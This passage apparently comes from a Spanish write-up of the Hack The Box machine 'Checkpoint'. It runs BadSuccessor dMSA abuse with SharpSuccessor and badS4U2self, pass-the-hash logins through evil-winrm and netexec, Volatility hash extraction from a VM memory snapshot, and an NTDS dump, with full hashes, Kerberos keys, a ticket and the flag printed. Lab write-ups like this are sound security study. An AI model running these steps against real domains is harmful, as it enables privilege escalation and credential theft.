permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
❯

User - svc_deploy

BadSuccessor

Utilizamos SharpSuccessor.exe para crear una dMSA y configurarla como sucesora de svc_deploy, aprovechando los permisos identificados anteriormente. Los parametros especifican la cuenta objetivo (/impersonate), la OU donde se crearia la dMSA (/path), la cuenta con la que ejecutamos la operacion (/account) y el nombre de la nueva dMSA (/name).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\users\ryan.brooks\documents> ./SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:dmsa_acc
   _____ _                      _____                                        
  / ____| |                    / ____|                                       
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __ 
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |   
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|   
                         | |                                                 
                         |_|                                                 
@_logangoins

[+] Adding dnshostname dmsa_acc.checkpoint.htb
[+] Adding samaccountname dmsa_acc$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=dmsa_acc' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=dmsa_acc,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully
PS C:\users\ryan.brooks\documents>

La salida confirma la creacion de dmsa_acc$ dentro de OU=DMSAHolder y la modificacion de los atributos de svc_deploy para establecer la relacion de sucesion. Reutilizamos el ticket Kerberos de Ryan obtenido anteriormente con Rubeus. La salida de tgtdeleg /nowrap proporciona el ticket codificado en Base64, que se guarda y decodifica en el archivo ticket.kirbi. Despues, ejecutamos badS4U2self con este archivo como credencial de entrada para obtener las claves de la dMSA.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ faketime "$(ntpdate -q checkpoint.htb | cut -d ' ' -f 1,2)" badS4U2self --dmsa 'kerberos+kirbi://ryan.brooks\checkpoint.htb:ticket.kirbi@10.129.114.122' 'krbtgt/CHECKPOINT.HTB' 'dmsa_acc$@checkpoint.htb'

Realm        : CHECKPOINT.HTB
Sname        : krbtgt/CHECKPOINT.HTB
UserName     : dmsa_acc$
UserRealm    : checkpoint.htb
StartTime    : 2026-06-17 12:00:58+00:00
EndTime      : 2026-06-17 20:41:21+00:00
RenewTill    : 2026-06-24 10:41:21+00:00
Flags        : forwardable, renewable, pre-authent, enc-pa-rep, forwarded
Keytype      : 18
Key          : siMpoPJrnQoXi21VY1bX2lfMd6zgqJWvXsPD2mu/MAA=
EncodedKirbi : 

    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
    Qg==

dMSA current keys found in TGS:
AES256: 6e2384a92d4c3a5fe2ac240b0e4137e4220a0b1f2c790f710c744776673514f3
AES128: 098d7f1b419abf7ac6d24c84e55d89ff
RC4: 711cecd920f95e42058cad91f1d663d9

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9
[+] Done!
❯

El resultado muestra las claves actuales de dmsa_acc$ y las claves anteriores asociadas con la cuenta que esta sustituyendo. Utilizamos el valor RC4 mostrado bajo dMSA previous keys para acceder posteriormente como svc_deploy.

Shell

Este hash permite el acceso por WinRM.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ evil-winrm -i checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
checkpoint\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Privesc

Localmente logramos acceder al directorio del recurso compartido de samba: VMBackups. En este encontramos archivos de una maquina virtual.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> dir


    Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/9/2026   7:45 PM      106496000 Windows Server 2019-000001.vmdk
-a----          5/9/2026   7:40 PM     2147483648 Windows Server 2019-Snapshot1.vmem
-a----          5/9/2026   7:40 PM      138164859 Windows Server 2019-Snapshot1.vmsn
-a----          5/9/2026   7:39 PM         270840 Windows Server 2019.nvram
-a----          5/9/2026   7:45 PM           7642 Windows Server 2019.scoreboard
-a----          5/9/2026   7:39 PM    10199695360 Windows Server 2019.vmdk
-a----          5/9/2026   7:39 PM            502 Windows Server 2019.vmsd
-a----          5/9/2026   7:45 PM           2749 Windows Server 2019.vmx
-a----          5/9/2026   7:22 PM            274 Windows Server 2019.vmxf


*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics>

Extract Hashes - Volatility

Utilizamos Volatility para extraer los hashes en el archivo .vmem con el plugin windows.registry.hashdump.Hashdump. Sin embargo, este indica un error e intenta descargar un archivo PDB identificado con el ‘hash’ EF9A48AFA50FF07C616585BB019195361. Esto ocurre ya que unicamente estamos ejecutando volatility.exe sin la tabla de simbolos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ./vol.exe -f "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.registry.hashdump.Hashdump
Volatility 3 Framework 2.28.0
vol.exe : 
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Progress:    0.00		Updating caches for 105 files...Progress:    0.95		
# [... cut ...]
Scanning layer_name using PdbSignatureScannerProgress:   38.87		Scanning layer_name using PdbSignatureScannerProgress:   38.96		Scanning layer_name using PdbSignatureScannerProgress:   39.06	Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:  100.00		Downloading http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pd_WARNING  volatility3.framework.symbols.windows.pdbutil: Symbol file could not be downloaded from remote server                                                                                                    Progress:  100.00		PDB scanning finished                                                                                             Unable to validate the plugin requirements: ['plugins.Hashdump.kernel.symbol_table_name']
Unsatisfied requirement plugins.Hashdump.kernel.symbol_table_name:

A symbol table requirement was not fulfilled.  Please verify that:
	The associated translation layer requirement was fulfilled
	You have the correct symbol file for the requirement
	The symbol file is under the correct directory or zip file
	The symbol file is named appropriately or contains the correct banner

*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Descargamos el archivo pdb. Con pdbconv.py obtuvimos el identificador que nos interesa: EF9A48AFA50FF07C616585BB019195361. Esto con el objetivo de no subir la tabla simbolos de windows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# download the missing PDB file
curl -sSL -o ntkrnlmp.pdb "http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pdb"

# clone volatility repo
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3

# install volatility with uv
uv tool install .

#  or run the script
❯ uv run python3 volatility3/framework/symbols/windows/pdbconv.py -f ../ntkrnlmp.pdb -g EF9A48AFA50FF07C616585BB019195361
❯ ll
drwxrwxr-x kali kali 4.0 KB Wed Jun 17 02:42:36 2026  build
# [... cut ...]
.rw-rw-r-- kali kali 515 KB Wed Jun 17 02:44:28 2026  EF9A48AFA50FF07C616585BB01919536-1.json.xz
# [... cut ...]
.rw-rw-r-- kali kali 2.9 KB Wed Jun 17 02:41:22 2026  volshell.spec
❯

Subimos y movimos el archivo .json.xz a symbols/windows/ntkrnlmp.pdb/ en la raiz donde volatility esta alojado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload volatility/volatility3/EF9A48AFA50FF07C616585BB01919536-1.json.xz
                                        
Info: Uploading /home/kali/htb/checkpoint/volatility/volatility3/EF9A48AFA50FF07C616585BB01919536-1.json.xz to C:\Users\svc_deploy\Documents\EF9A48AFA50FF07C616585BB01919536-1.json.xz
                                        
Data: 703368 bytes of 703368 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ls


    Directory: C:\Users\svc_deploy\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         6/17/2026   5:48 AM                symbols
-a----         6/17/2026   6:46 AM         527528 EF9A48AFA50FF07C616585BB01919536-1.json.xz
-a----         6/17/2026   5:47 AM       22216348 vol.exe


*Evil-WinRM* PS C:\Users\svc_deploy\Documents> mv EF9A48AFA50FF07C616585BB01919536-1.json.xz symbols/windows/ntkrnlmp.pdb/
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Ejecutamos nuevamente y este lista los hashes de varios usuarios, entre estos el de Administrator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ./vol.exe -f "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.registry.hashdump.Hashdump
Volatility 3 Framework 2.28.0
vol.exe : 
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Progress:    0.00		Updating caches for 106 files...
# [...cut ...]
PdbSignatureScannerProgress:   39.06		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScanner
User	rid	lmhash	nthash

Administrator	500	aad3b435b51404eeaad3b435b51404ee	f29e9c014295b9b32139b09a2790be3b
Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	aad3b435b51404eeaad3b435b51404ee	28f8d934dee90b2ec824351cb0844479
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

El hash permite autenticarse por SMB.

1
2
3
4
❯ netexec smb checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
❯

Shell

Con evil-winrm pasamos el hash logrando obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ evil-winrm -i checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Realizamos la lectura de la flag root.txt en el directorio de max.palmer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
*Evil-WinRM* PS C:\Users> dir max.palmer/desktop


    Directory: C:\Users\max.palmer\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         6/17/2026   3:09 AM             34 root.txt


*Evil-WinRM* PS C:\Users> cat max.palmer/desktop/root.txt
63aa47fd33fb5bdfad9f6842f36cf826
*Evil-WinRM* PS C:\Users>

Loot

Dump Hashes

Realizamos un dump de las hashes con netexec.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ netexec smb checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b --ntds
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
SMB         10.129.114.122  445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.114.122  445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
SMB         10.129.114.122  445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.114.122  445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:015e3bf70a412ef82b604fae3b1c30e8:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\alex.turner:1101:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\mark.davies:1102:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\ryan.brooks:1103:aad3b435b51404eeaad3b435b51404ee:82d044eb259e495fd92a52b2ccece067:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\svc_deploy:1104:aad3b435b51404eeaad3b435b51404ee:e16081eb077aca74bdbf8af12af43ac9:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\james.harper:1111:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\sarah.mitchell:1112:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\emily.carter:1113:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\david.reynolds:1114:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\jessica.coleman:1115:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\lauren.flores:1116:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\michael.torres:1117:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\kevin.patterson:1118:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\brian.jenkins:1119:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\megan.perry:1120:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             max.palmer:5101:aad3b435b51404eeaad3b435b51404ee:7d7670c154bf5439523729639c6d2f16:::
SMB         10.129.114.122  445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:cacfde2465d05d06d1d148b87643770a:::
SMB         10.129.114.122  445    DC01             bad$:7101:aad3b435b51404eeaad3b435b51404ee:8b2f4d0d63dc325b19349669e41ba5d5:::
SMB         10.129.114.122  445    DC01             kreep_dmsa$:7102:aad3b435b51404eeaad3b435b51404ee:089019e68eeba55152dc5afedb731308:::
SMB         10.129.114.122  445    DC01             dmsa_acc$:7103:aad3b435b51404eeaad3b435b51404ee:711cecd920f95e42058cad91f1d663d9:::
SMB         10.129.114.122  445    DC01             [+] Dumped 22 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.129.114.122_2026-06-17_025542.ntds of which 18 were added to the database
SMB         10.129.114.122  445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         10.129.114.122  445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.129.114.122_2026-06-17_025542.ntds | cut -d ':' -f1
❯
Share on

Dany Sucuc
WRITTEN BY
sckull